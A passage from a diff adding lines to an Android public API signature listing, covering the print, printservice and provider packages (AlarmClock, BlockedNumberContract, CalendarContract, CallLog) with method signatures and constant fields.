+    method @NonNull public java.util.List<android.print.PrintAttributes.Resolution> getResolutions();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrinterCapabilitiesInfo> CREATOR;
+  }
+
+  public static final class PrinterCapabilitiesInfo.Builder {
+    ctor public PrinterCapabilitiesInfo.Builder(@NonNull android.print.PrinterId);
+    method @NonNull public android.print.PrinterCapabilitiesInfo.Builder addMediaSize(@NonNull android.print.PrintAttributes.MediaSize, boolean);
+    method @NonNull public android.print.PrinterCapabilitiesInfo.Builder addResolution(@NonNull android.print.PrintAttributes.Resolution, boolean);
+    method @NonNull public android.print.PrinterCapabilitiesInfo build();
+    method @NonNull public android.print.PrinterCapabilitiesInfo.Builder setColorModes(int, int);
+    method @NonNull public android.print.PrinterCapabilitiesInfo.Builder setDuplexModes(int, int);
+    method @NonNull public android.print.PrinterCapabilitiesInfo.Builder setMinMargins(@NonNull android.print.PrintAttributes.Margins);
+  }
+
+  public final class PrinterId implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getLocalId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrinterId> CREATOR;
+  }
+
+  public final class PrinterInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.print.PrinterCapabilitiesInfo getCapabilities();
+    method @Nullable public String getDescription();
+    method @NonNull public android.print.PrinterId getId();
+    method @NonNull public String getName();
+    method public int getStatus();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrinterInfo> CREATOR;
+    field public static final int STATUS_BUSY = 2; // 0x2
+    field public static final int STATUS_IDLE = 1; // 0x1
+    field public static final int STATUS_UNAVAILABLE = 3; // 0x3
+  }
+
+  public static final class PrinterInfo.Builder {
+    ctor public PrinterInfo.Builder(@NonNull android.print.PrinterId, @NonNull String, int);
+    ctor public PrinterInfo.Builder(@NonNull android.print.PrinterInfo);
+    method @NonNull public android.print.PrinterInfo build();
+    method @NonNull public android.print.PrinterInfo.Builder setCapabilities(@NonNull android.print.PrinterCapabilitiesInfo);
+    method @NonNull public android.print.PrinterInfo.Builder setDescription(@NonNull String);
+    method @NonNull public android.print.PrinterInfo.Builder setHasCustomPrinterIcon(boolean);
+    method @NonNull public android.print.PrinterInfo.Builder setIconResourceId(@DrawableRes int);
+    method @NonNull public android.print.PrinterInfo.Builder setInfoIntent(@NonNull android.app.PendingIntent);
+    method @NonNull public android.print.PrinterInfo.Builder setName(@NonNull String);
+    method @NonNull public android.print.PrinterInfo.Builder setStatus(int);
+  }
+
+}
+
+package android.print.pdf {
+
+  public class PrintedPdfDocument extends android.graphics.pdf.PdfDocument {
+    ctor public PrintedPdfDocument(@NonNull android.content.Context, @NonNull android.print.PrintAttributes);
+    method @NonNull public android.graphics.Rect getPageContentRect();
+    method @IntRange(from=0) public int getPageHeight();
+    method @IntRange(from=0) public int getPageWidth();
+    method @NonNull public android.graphics.pdf.PdfDocument.Page startPage(@IntRange(from=0) int);
+  }
+
+}
+
+package android.printservice {
+
+  public final class CustomPrinterIconCallback {
+    method public boolean onCustomPrinterIconLoaded(@Nullable android.graphics.drawable.Icon);
+  }
+
+  public final class PrintDocument {
+    method @Nullable public android.os.ParcelFileDescriptor getData();
+    method @NonNull public android.print.PrintDocumentInfo getInfo();
+  }
+
+  public final class PrintJob {
+    method @MainThread public boolean block(@Nullable String);
+    method @MainThread public boolean cancel();
+    method @MainThread public boolean complete();
+    method @MainThread public boolean fail(@Nullable String);
+    method @MainThread public int getAdvancedIntOption(String);
+    method @MainThread public String getAdvancedStringOption(String);
+    method @MainThread @NonNull public android.printservice.PrintDocument getDocument();
+    method @MainThread public android.print.PrintJobId getId();
+    method @MainThread @NonNull public android.print.PrintJobInfo getInfo();
+    method @MainThread @Nullable public String getTag();
+    method @MainThread public boolean hasAdvancedOption(String);
+    method @MainThread public boolean isBlocked();
+    method @MainThread public boolean isCancelled();
+    method @MainThread public boolean isCompleted();
+    method @MainThread public boolean isFailed();
+    method @MainThread public boolean isQueued();
+    method @MainThread public boolean isStarted();
+    method @MainThread public void setProgress(@FloatRange(from=0.0, to=1.0) float);
+    method @MainThread public void setStatus(@Nullable CharSequence);
+    method @MainThread public void setStatus(@StringRes int);
+    method @MainThread public boolean setTag(@NonNull String);
+    method @MainThread public boolean start();
+  }
+
+  public abstract class PrintService extends android.app.Service {
+    ctor public PrintService();
+    method protected final void attachBaseContext(android.content.Context);
+    method @NonNull public final android.print.PrinterId generatePrinterId(String);
+    method public final java.util.List<android.printservice.PrintJob> getActivePrintJobs();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method protected void onConnected();
+    method @Nullable protected abstract android.printservice.PrinterDiscoverySession onCreatePrinterDiscoverySession();
+    method protected void onDisconnected();
+    method protected abstract void onPrintJobQueued(android.printservice.PrintJob);
+    method protected abstract void onRequestCancelPrintJob(android.printservice.PrintJob);
+    field public static final String EXTRA_CAN_SELECT_PRINTER = "android.printservice.extra.CAN_SELECT_PRINTER";
+    field public static final String EXTRA_PRINTER_INFO = "android.intent.extra.print.EXTRA_PRINTER_INFO";
+    field public static final String EXTRA_PRINT_DOCUMENT_INFO = "android.printservice.extra.PRINT_DOCUMENT_INFO";
+    field public static final String EXTRA_PRINT_JOB_INFO = "android.intent.extra.print.PRINT_JOB_INFO";
+    field public static final String EXTRA_SELECT_PRINTER = "android.printservice.extra.SELECT_PRINTER";
+    field public static final String SERVICE_INTERFACE = "android.printservice.PrintService";
+    field public static final String SERVICE_META_DATA = "android.printservice";
+  }
+
+  public abstract class PrinterDiscoverySession {
+    ctor public PrinterDiscoverySession();
+    method public final void addPrinters(@NonNull java.util.List<android.print.PrinterInfo>);
+    method @NonNull public final java.util.List<android.print.PrinterInfo> getPrinters();
+    method @NonNull public final java.util.List<android.print.PrinterId> getTrackedPrinters();
+    method public final boolean isDestroyed();
+    method public final boolean isPrinterDiscoveryStarted();
+    method public abstract void onDestroy();
+    method public void onRequestCustomPrinterIcon(@NonNull android.print.PrinterId, @NonNull android.os.CancellationSignal, @NonNull android.printservice.CustomPrinterIconCallback);
+    method public abstract void onStartPrinterDiscovery(@NonNull java.util.List<android.print.PrinterId>);
+    method public abstract void onStartPrinterStateTracking(@NonNull android.print.PrinterId);
+    method public abstract void onStopPrinterDiscovery();
+    method public abstract void onStopPrinterStateTracking(@NonNull android.print.PrinterId);
+    method public abstract void onValidatePrinters(@NonNull java.util.List<android.print.PrinterId>);
+    method public final void removePrinters(@NonNull java.util.List<android.print.PrinterId>);
+  }
+
+}
+
+package android.provider {
+
+  public final class AlarmClock {
+    ctor public AlarmClock();
+    field public static final String ACTION_DISMISS_ALARM = "android.intent.action.DISMISS_ALARM";
+    field public static final String ACTION_DISMISS_TIMER = "android.intent.action.DISMISS_TIMER";
+    field public static final String ACTION_SET_ALARM = "android.intent.action.SET_ALARM";
+    field public static final String ACTION_SET_TIMER = "android.intent.action.SET_TIMER";
+    field public static final String ACTION_SHOW_ALARMS = "android.intent.action.SHOW_ALARMS";
+    field public static final String ACTION_SHOW_TIMERS = "android.intent.action.SHOW_TIMERS";
+    field public static final String ACTION_SNOOZE_ALARM = "android.intent.action.SNOOZE_ALARM";
+    field public static final String ALARM_SEARCH_MODE_ALL = "android.all";
+    field public static final String ALARM_SEARCH_MODE_LABEL = "android.label";
+    field public static final String ALARM_SEARCH_MODE_NEXT = "android.next";
+    field public static final String ALARM_SEARCH_MODE_TIME = "android.time";
+    field public static final String EXTRA_ALARM_SEARCH_MODE = "android.intent.extra.alarm.SEARCH_MODE";
+    field public static final String EXTRA_ALARM_SNOOZE_DURATION = "android.intent.extra.alarm.SNOOZE_DURATION";
+    field public static final String EXTRA_DAYS = "android.intent.extra.alarm.DAYS";
+    field public static final String EXTRA_HOUR = "android.intent.extra.alarm.HOUR";
+    field public static final String EXTRA_IS_PM = "android.intent.extra.alarm.IS_PM";
+    field public static final String EXTRA_LENGTH = "android.intent.extra.alarm.LENGTH";
+    field public static final String EXTRA_MESSAGE = "android.intent.extra.alarm.MESSAGE";
+    field public static final String EXTRA_MINUTES = "android.intent.extra.alarm.MINUTES";
+    field public static final String EXTRA_RINGTONE = "android.intent.extra.alarm.RINGTONE";
+    field public static final String EXTRA_SKIP_UI = "android.intent.extra.alarm.SKIP_UI";
+    field public static final String EXTRA_VIBRATE = "android.intent.extra.alarm.VIBRATE";
+    field public static final String VALUE_RINGTONE_SILENT = "silent";
+  }
+
+  public interface BaseColumns {
+    field public static final String _COUNT = "_count";
+    field public static final String _ID = "_id";
+  }
+
+  public class BlockedNumberContract {
+    method public static boolean canCurrentUserBlockNumbers(android.content.Context);
+    method @WorkerThread public static boolean isBlocked(android.content.Context, String);
+    method @WorkerThread public static int unblock(android.content.Context, String);
+    field public static final String AUTHORITY = "com.android.blockednumber";
+    field public static final android.net.Uri AUTHORITY_URI;
+  }
+
+  public static class BlockedNumberContract.BlockedNumbers {
+    field public static final String COLUMN_E164_NUMBER = "e164_number";
+    field public static final String COLUMN_ID = "_id";
+    field public static final String COLUMN_ORIGINAL_NUMBER = "original_number";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/blocked_number";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/blocked_number";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public class Browser {
+    ctor public Browser();
+    method public static final void sendString(android.content.Context, String);
+    field public static final String EXTRA_APPLICATION_ID = "com.android.browser.application_id";
+    field public static final String EXTRA_CREATE_NEW_TAB = "create_new_tab";
+    field public static final String EXTRA_HEADERS = "com.android.browser.headers";
+    field public static final String INITIAL_ZOOM_LEVEL = "browser.initialZoomLevel";
+  }
+
+  public final class CalendarContract {
+    method public static boolean startViewCalendarEventInManagedProfile(@NonNull android.content.Context, long, long, long, boolean, int);
+    field public static final String ACCOUNT_TYPE_LOCAL = "LOCAL";
+    field public static final String ACTION_EVENT_REMINDER = "android.intent.action.EVENT_REMINDER";
+    field public static final String ACTION_HANDLE_CUSTOM_EVENT = "android.provider.calendar.action.HANDLE_CUSTOM_EVENT";
+    field public static final String ACTION_VIEW_MANAGED_PROFILE_CALENDAR_EVENT = "android.provider.calendar.action.VIEW_MANAGED_PROFILE_CALENDAR_EVENT";
+    field public static final String AUTHORITY = "com.android.calendar";
+    field public static final String CALLER_IS_SYNCADAPTER = "caller_is_syncadapter";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String EXTRA_CUSTOM_APP_URI = "customAppUri";
+    field public static final String EXTRA_EVENT_ALL_DAY = "allDay";
+    field public static final String EXTRA_EVENT_BEGIN_TIME = "beginTime";
+    field public static final String EXTRA_EVENT_END_TIME = "endTime";
+    field public static final String EXTRA_EVENT_ID = "id";
+  }
+
+  public static final class CalendarContract.Attendees implements android.provider.BaseColumns android.provider.CalendarContract.AttendeesColumns android.provider.CalendarContract.EventsColumns {
+    method public static android.database.Cursor query(android.content.ContentResolver, long, String[]);
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.AttendeesColumns {
+    field public static final String ATTENDEE_EMAIL = "attendeeEmail";
+    field public static final String ATTENDEE_IDENTITY = "attendeeIdentity";
+    field public static final String ATTENDEE_ID_NAMESPACE = "attendeeIdNamespace";
+    field public static final String ATTENDEE_NAME = "attendeeName";
+    field public static final String ATTENDEE_RELATIONSHIP = "attendeeRelationship";
+    field public static final String ATTENDEE_STATUS = "attendeeStatus";
+    field public static final int ATTENDEE_STATUS_ACCEPTED = 1; // 0x1
+    field public static final int ATTENDEE_STATUS_DECLINED = 2; // 0x2
+    field public static final int ATTENDEE_STATUS_INVITED = 3; // 0x3
+    field public static final int ATTENDEE_STATUS_NONE = 0; // 0x0
+    field public static final int ATTENDEE_STATUS_TENTATIVE = 4; // 0x4
+    field public static final String ATTENDEE_TYPE = "attendeeType";
+    field public static final String EVENT_ID = "event_id";
+    field public static final int RELATIONSHIP_ATTENDEE = 1; // 0x1
+    field public static final int RELATIONSHIP_NONE = 0; // 0x0
+    field public static final int RELATIONSHIP_ORGANIZER = 2; // 0x2
+    field public static final int RELATIONSHIP_PERFORMER = 3; // 0x3
+    field public static final int RELATIONSHIP_SPEAKER = 4; // 0x4
+    field public static final int TYPE_NONE = 0; // 0x0
+    field public static final int TYPE_OPTIONAL = 2; // 0x2
+    field public static final int TYPE_REQUIRED = 1; // 0x1
+    field public static final int TYPE_RESOURCE = 3; // 0x3
+  }
+
+  public static final class CalendarContract.CalendarAlerts implements android.provider.BaseColumns android.provider.CalendarContract.CalendarAlertsColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.EventsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri CONTENT_URI_BY_INSTANCE;
+  }
+
+  protected static interface CalendarContract.CalendarAlertsColumns {
+    field public static final String ALARM_TIME = "alarmTime";
+    field public static final String BEGIN = "begin";
+    field public static final String CREATION_TIME = "creationTime";
+    field public static final String DEFAULT_SORT_ORDER = "begin ASC,title ASC";
+    field public static final String END = "end";
+    field public static final String EVENT_ID = "event_id";
+    field public static final String MINUTES = "minutes";
+    field public static final String NOTIFY_TIME = "notifyTime";
+    field public static final String RECEIVED_TIME = "receivedTime";
+    field public static final String STATE = "state";
+    field public static final int STATE_DISMISSED = 2; // 0x2
+    field public static final int STATE_FIRED = 1; // 0x1
+    field public static final int STATE_SCHEDULED = 0; // 0x0
+  }
+
+  public static final class CalendarContract.CalendarCache implements android.provider.CalendarContract.CalendarCacheColumns {
+    field public static final String KEY_TIMEZONE_INSTANCES = "timezoneInstances";
+    field public static final String KEY_TIMEZONE_INSTANCES_PREVIOUS = "timezoneInstancesPrevious";
+    field public static final String KEY_TIMEZONE_TYPE = "timezoneType";
+    field public static final String TIMEZONE_TYPE_AUTO = "auto";
+    field public static final String TIMEZONE_TYPE_HOME = "home";
+    field public static final android.net.Uri URI;
+  }
+
+  protected static interface CalendarContract.CalendarCacheColumns {
+    field public static final String KEY = "key";
+    field public static final String VALUE = "value";
+  }
+
+  protected static interface CalendarContract.CalendarColumns {
+    field public static final String ALLOWED_ATTENDEE_TYPES = "allowedAttendeeTypes";
+    field public static final String ALLOWED_AVAILABILITY = "allowedAvailability";
+    field public static final String ALLOWED_REMINDERS = "allowedReminders";
+    field public static final String CALENDAR_ACCESS_LEVEL = "calendar_access_level";
+    field public static final String CALENDAR_COLOR = "calendar_color";
+    field public static final String CALENDAR_COLOR_KEY = "calendar_color_index";
+    field public static final String CALENDAR_DISPLAY_NAME = "calendar_displayName";
+    field public static final String CALENDAR_TIME_ZONE = "calendar_timezone";
+    field public static final int CAL_ACCESS_CONTRIBUTOR = 500; // 0x1f4
+    field public static final int CAL_ACCESS_EDITOR = 600; // 0x258
+    field public static final int CAL_ACCESS_FREEBUSY = 100; // 0x64
+    field public static final int CAL_ACCESS_NONE = 0; // 0x0
+    field public static final int CAL_ACCESS_OVERRIDE = 400; // 0x190
+    field public static final int CAL_ACCESS_OWNER = 700; // 0x2bc
+    field public static final int CAL_ACCESS_READ = 200; // 0xc8
+    field public static final int CAL_ACCESS_RESPOND = 300; // 0x12c
+    field public static final int CAL_ACCESS_ROOT = 800; // 0x320
+    field public static final String CAN_MODIFY_TIME_ZONE = "canModifyTimeZone";
+    field public static final String CAN_ORGANIZER_RESPOND = "canOrganizerRespond";
+    field public static final String IS_PRIMARY = "isPrimary";
+    field public static final String MAX_REMINDERS = "maxReminders";
+    field public static final String OWNER_ACCOUNT = "ownerAccount";
+    field public static final String SYNC_EVENTS = "sync_events";
+    field public static final String VISIBLE = "visible";
+  }
+
+  public static final class CalendarContract.CalendarEntity implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.SyncColumns {
+    method public static android.content.EntityIterator newEntityIterator(android.database.Cursor);
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.CalendarSyncColumns {
+    field public static final String CAL_SYNC1 = "cal_sync1";
+    field public static final String CAL_SYNC10 = "cal_sync10";
+    field public static final String CAL_SYNC2 = "cal_sync2";
+    field public static final String CAL_SYNC3 = "cal_sync3";
+    field public static final String CAL_SYNC4 = "cal_sync4";
+    field public static final String CAL_SYNC5 = "cal_sync5";
+    field public static final String CAL_SYNC6 = "cal_sync6";
+    field public static final String CAL_SYNC7 = "cal_sync7";
+    field public static final String CAL_SYNC8 = "cal_sync8";
+    field public static final String CAL_SYNC9 = "cal_sync9";
+  }
+
+  public static final class CalendarContract.Calendars implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.SyncColumns {
+    field public static final String CALENDAR_LOCATION = "calendar_location";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "calendar_displayName";
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_URI;
+    field public static final String NAME = "name";
+  }
+
+  public static final class CalendarContract.Colors implements android.provider.CalendarContract.ColorsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.ColorsColumns extends android.provider.SyncStateContract.Columns {
+    field public static final String COLOR = "color";
+    field public static final String COLOR_KEY = "color_index";
+    field public static final String COLOR_TYPE = "color_type";
+    field public static final int TYPE_CALENDAR = 0; // 0x0
+    field public static final int TYPE_EVENT = 1; // 0x1
+  }
+
+  public static final class CalendarContract.EventDays implements android.provider.CalendarContract.EventDaysColumns {
+    method public static android.database.Cursor query(android.content.ContentResolver, int, int, String[]);
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.EventDaysColumns {
+    field public static final String ENDDAY = "endDay";
+    field public static final String STARTDAY = "startDay";
+  }
+
+  public static final class CalendarContract.Events implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.EventsColumns android.provider.CalendarContract.SyncColumns {
+    field public static final android.net.Uri CONTENT_EXCEPTION_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.EventsColumns {
+    field public static final int ACCESS_CONFIDENTIAL = 1; // 0x1
+    field public static final int ACCESS_DEFAULT = 0; // 0x0
+    field public static final String ACCESS_LEVEL = "accessLevel";
+    field public static final int ACCESS_PRIVATE = 2; // 0x2
+    field public static final int ACCESS_PUBLIC = 3; // 0x3
+    field public static final String ALL_DAY = "allDay";
+    field public static final String AVAILABILITY = "availability";
+    field public static final int AVAILABILITY_BUSY = 0; // 0x0
+    field public static final int AVAILABILITY_FREE = 1; // 0x1
+    field public static final int AVAILABILITY_TENTATIVE = 2; // 0x2
+    field public static final String CALENDAR_ID = "calendar_id";
+    field public static final String CAN_INVITE_OTHERS = "canInviteOthers";
+    field public static final String CUSTOM_APP_PACKAGE = "customAppPackage";
+    field public static final String CUSTOM_APP_URI = "customAppUri";
+    field public static final String DESCRIPTION = "description";
+    field public static final String DISPLAY_COLOR = "displayColor";
+    field public static final String DTEND = "dtend";
+    field public static final String DTSTART = "dtstart";
+    field public static final String DURATION = "duration";
+    field public static final String EVENT_COLOR = "eventColor";
+    field public static final String EVENT_COLOR_KEY = "eventColor_index";
+    field public static final String EVENT_END_TIMEZONE = "eventEndTimezone";
+    field public static final String EVENT_LOCATION = "eventLocation";
+    field public static final String EVENT_TIMEZONE = "eventTimezone";
+    field public static final String EXDATE = "exdate";
+    field public static final String EXRULE = "exrule";
+    field public static final String GUESTS_CAN_INVITE_OTHERS = "guestsCanInviteOthers";
+    field public static final String GUESTS_CAN_MODIFY = "guestsCanModify";
+    field public static final String GUESTS_CAN_SEE_GUESTS = "guestsCanSeeGuests";
+    field public static final String HAS_ALARM = "hasAlarm";
+    field public static final String HAS_ATTENDEE_DATA = "hasAttendeeData";
+    field public static final String HAS_EXTENDED_PROPERTIES = "hasExtendedProperties";
+    field public static final String IS_ORGANIZER = "isOrganizer";
+    field public static final String LAST_DATE = "lastDate";
+    field public static final String LAST_SYNCED = "lastSynced";
+    field public static final String ORGANIZER = "organizer";
+    field public static final String ORIGINAL_ALL_DAY = "originalAllDay";
+    field public static final String ORIGINAL_ID = "original_id";
+    field public static final String ORIGINAL_INSTANCE_TIME = "originalInstanceTime";
+    field public static final String ORIGINAL_SYNC_ID = "original_sync_id";
+    field public static final String RDATE = "rdate";
+    field public static final String RRULE = "rrule";
+    field public static final String SELF_ATTENDEE_STATUS = "selfAttendeeStatus";
+    field public static final String STATUS = "eventStatus";
+    field public static final int STATUS_CANCELED = 2; // 0x2
+    field public static final int STATUS_CONFIRMED = 1; // 0x1
+    field public static final int STATUS_TENTATIVE = 0; // 0x0
+    field public static final String SYNC_DATA1 = "sync_data1";
+    field public static final String SYNC_DATA10 = "sync_data10";
+    field public static final String SYNC_DATA2 = "sync_data2";
+    field public static final String SYNC_DATA3 = "sync_data3";
+    field public static final String SYNC_DATA4 = "sync_data4";
+    field public static final String SYNC_DATA5 = "sync_data5";
+    field public static final String SYNC_DATA6 = "sync_data6";
+    field public static final String SYNC_DATA7 = "sync_data7";
+    field public static final String SYNC_DATA8 = "sync_data8";
+    field public static final String SYNC_DATA9 = "sync_data9";
+    field public static final String TITLE = "title";
+    field public static final String UID_2445 = "uid2445";
+  }
+
+  public static final class CalendarContract.EventsEntity implements android.provider.BaseColumns android.provider.CalendarContract.EventsColumns android.provider.CalendarContract.SyncColumns {
+    method public static android.content.EntityIterator newEntityIterator(android.database.Cursor, android.content.ContentResolver);
+    method public static android.content.EntityIterator newEntityIterator(android.database.Cursor, android.content.ContentProviderClient);
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public static final class CalendarContract.ExtendedProperties implements android.provider.BaseColumns android.provider.CalendarContract.EventsColumns android.provider.CalendarContract.ExtendedPropertiesColumns {
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.ExtendedPropertiesColumns {
+    field public static final String EVENT_ID = "event_id";
+    field public static final String NAME = "name";
+    field public static final String VALUE = "value";
+  }
+
+  public static final class CalendarContract.Instances implements android.provider.BaseColumns android.provider.CalendarContract.CalendarColumns android.provider.CalendarContract.EventsColumns {
+    method public static android.database.Cursor query(android.content.ContentResolver, String[], long, long);
+    method public static android.database.Cursor query(android.content.ContentResolver, String[], long, long, String);
+    field public static final String BEGIN = "begin";
+    field public static final android.net.Uri CONTENT_BY_DAY_URI;
+    field public static final android.net.Uri CONTENT_SEARCH_BY_DAY_URI;
+    field public static final android.net.Uri CONTENT_SEARCH_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String END = "end";
+    field public static final String END_DAY = "endDay";
+    field public static final String END_MINUTE = "endMinute";
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_BY_DAY_URI;
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_SEARCH_BY_DAY_URI;
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_SEARCH_URI;
+    field @NonNull public static final android.net.Uri ENTERPRISE_CONTENT_URI;
+    field public static final String EVENT_ID = "event_id";
+    field public static final String START_DAY = "startDay";
+    field public static final String START_MINUTE = "startMinute";
+  }
+
+  public static final class CalendarContract.Reminders implements android.provider.BaseColumns android.provider.CalendarContract.EventsColumns android.provider.CalendarContract.RemindersColumns {
+    method public static android.database.Cursor query(android.content.ContentResolver, long, String[]);
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface CalendarContract.RemindersColumns {
+    field public static final String EVENT_ID = "event_id";
+    field public static final String METHOD = "method";
+    field public static final int METHOD_ALARM = 4; // 0x4
+    field public static final int METHOD_ALERT = 1; // 0x1
+    field public static final int METHOD_DEFAULT = 0; // 0x0
+    field public static final int METHOD_EMAIL = 2; // 0x2
+    field public static final int METHOD_SMS = 3; // 0x3
+    field public static final String MINUTES = "minutes";
+    field public static final int MINUTES_DEFAULT = -1; // 0xffffffff
+  }
+
+  protected static interface CalendarContract.SyncColumns extends android.provider.CalendarContract.CalendarSyncColumns {
+    field public static final String ACCOUNT_NAME = "account_name";
+    field public static final String ACCOUNT_TYPE = "account_type";
+    field public static final String CAN_PARTIALLY_UPDATE = "canPartiallyUpdate";
+    field public static final String DELETED = "deleted";
+    field public static final String DIRTY = "dirty";
+    field public static final String MUTATORS = "mutators";
+    field public static final String _SYNC_ID = "_sync_id";
+  }
+
+  public static final class CalendarContract.SyncState implements android.provider.SyncStateContract.Columns {
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public class CallLog {
+    ctor public CallLog();
+    field public static final String AUTHORITY = "call_log";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public static class CallLog.Calls implements android.provider.BaseColumns {
+    ctor public CallLog.Calls();
+    method public static String getLastOutgoingCall(android.content.Context);
+    field public static final int ANSWERED_EXTERNALLY_TYPE = 7; // 0x7
+    field public static final long AUTO_MISSED_EMERGENCY_CALL = 1L; // 0x1L
+    field public static final long AUTO_MISSED_MAXIMUM_DIALING = 4L; // 0x4L
+    field public static final long AUTO_MISSED_MAXIMUM_RINGING = 2L; // 0x2L
+    field public static final int BLOCKED_TYPE = 6; // 0x6
+    field public static final String BLOCK_REASON = "block_reason";
+    field public static final int BLOCK_REASON_BLOCKED_NUMBER = 3; // 0x3
+    field public static final int BLOCK_REASON_CALL_SCREENING_SERVICE = 1; // 0x1
+    field public static final int BLOCK_REASON_DIRECT_TO_VOICEMAIL = 2; // 0x2
+    field public static final int BLOCK_REASON_NOT_BLOCKED = 0; // 0x0
+    field public static final int BLOCK_REASON_NOT_IN_CONTACTS = 7; // 0x7
+    field public static final int BLOCK_REASON_PAY_PHONE = 6; // 0x6
+    field public static final int BLOCK_REASON_RESTRICTED_NUMBER = 5; // 0x5
+    field public static final int BLOCK_REASON_UNKNOWN_NUMBER = 4; // 0x4
+    field public static final String CACHED_FORMATTED_NUMBER = "formatted_number";
+    field public static final String CACHED_LOOKUP_URI = "lookup_uri";
+    field public static final String CACHED_MATCHED_NUMBER = "matched_number";
+    field public static final String CACHED_NAME = "name";
+    field public static final String CACHED_NORMALIZED_NUMBER = "normalized_number";
+    field public static final String CACHED_NUMBER_LABEL = "numberlabel";
+    field public static final String CACHED_NUMBER_TYPE = "numbertype";
+    field public static final String CACHED_PHOTO_ID = "photo_id";
+    field public static final String CACHED_PHOTO_URI = "photo_uri";
+    field public static final String CALL_SCREENING_APP_NAME = "call_screening_app_name";
+    field public static final String CALL_SCREENING_COMPONENT_NAME = "call_screening_component_name";
+    field public static final String COMPOSER_PHOTO_URI = "composer_photo_uri";
+    field public static final android.net.Uri CONTENT_FILTER_URI;
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/calls";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/calls";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri CONTENT_URI_WITH_VOICEMAIL;
+    field public static final String COUNTRY_ISO = "countryiso";
+    field public static final String DATA_USAGE = "data_usage";
+    field public static final String DATE = "date";
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+    field public static final String DURATION = "duration";
+    field public static final String EXTRA_CALL_TYPE_FILTER = "android.provider.extra.CALL_TYPE_FILTER";
+    field public static final String FEATURES = "features";
+    field public static final int FEATURES_ASSISTED_DIALING_USED = 16; // 0x10
+    field public static final int FEATURES_HD_CALL = 4; // 0x4
+    field public static final int FEATURES_PULLED_EXTERNALLY = 2; // 0x2
+    field public static final int FEATURES_RTT = 32; // 0x20
+    field public static final int FEATURES_VIDEO = 1; // 0x1
+    field public static final int FEATURES_VOLTE = 64; // 0x40
+    field public static final int FEATURES_WIFI = 8; // 0x8
+    field public static final String GEOCODED_LOCATION = "geocoded_location";
+    field public static final int INCOMING_TYPE = 1; // 0x1
+    field public static final String IS_READ = "is_read";
+    field public static final String LAST_MODIFIED = "last_modified";
+    field public static final String LIMIT_PARAM_KEY = "limit";
+    field public static final String LOCATION = "location";
+    field public static final String MISSED_REASON = "missed_reason";
+    field public static final long MISSED_REASON_NOT_MISSED = 0L; // 0x0L
+    field public static final int MISSED_TYPE = 3; // 0x3
+    field public static final String NEW = "new";
+    field public static final String NUMBER = "number";
+    field public static final String NUMBER_PRESENTATION = "presentation";
+    field public static final String OFFSET_PARAM_KEY = "offset";
+    field public static final int OUTGOING_TYPE = 2; // 0x2
+    field public static final String PHONE_ACCOUNT_COMPONENT_NAME = "subscription_component_name";
+    field public static final String PHONE_ACCOUNT_ID = "subscription_id";
+    field public static final String POST_DIAL_DIGITS = "post_dial_digits";
+    field public static final int PRESENTATION_ALLOWED = 1; // 0x1
+    field public static final int PRESENTATION_PAYPHONE = 4; // 0x4
+    field public static final int PRESENTATION_RESTRICTED = 2; // 0x2
+    field public static final int PRESENTATION_UNKNOWN = 3; // 0x3
+    field public static final String PRIORITY = "priority";
+    field public static final int PRIORITY_NORMAL = 0; // 0x0
+    field public static final int PRIORITY_URGENT = 1; // 0x1
+    field public static final int REJECTED_TYPE = 5; // 0x5
+    field public static final String SUBJECT = "subject";
+    field public static final String TRANSCRIPTION = "transcription";
+    field public static final String TYPE = "type";
+    field public static final long USER_MISSED_CALL_FILTERS_TIMEOUT = 4194304L; // 0x400000L
+    field public static final long USER_MISSED_CALL_SCREENING_SERVICE_SILENCED = 2097152L; // 0x200000L
+    field public static final long USER_MISSED_DND_MODE = 262144L; // 0x40000L
+    field public static final long USER_MISSED_LOW_RING_VOLUME = 524288L; // 0x80000L
+    field public static final long USER_MISSED_NO_ANSWER = 65536L; // 0x10000L
+    field public static final long USER_MISSED_NO_VIBRATE = 1048576L; // 0x100000L
+    field public static final long USER_MISSED_SHORT_RING = 131072L; // 0x20000L
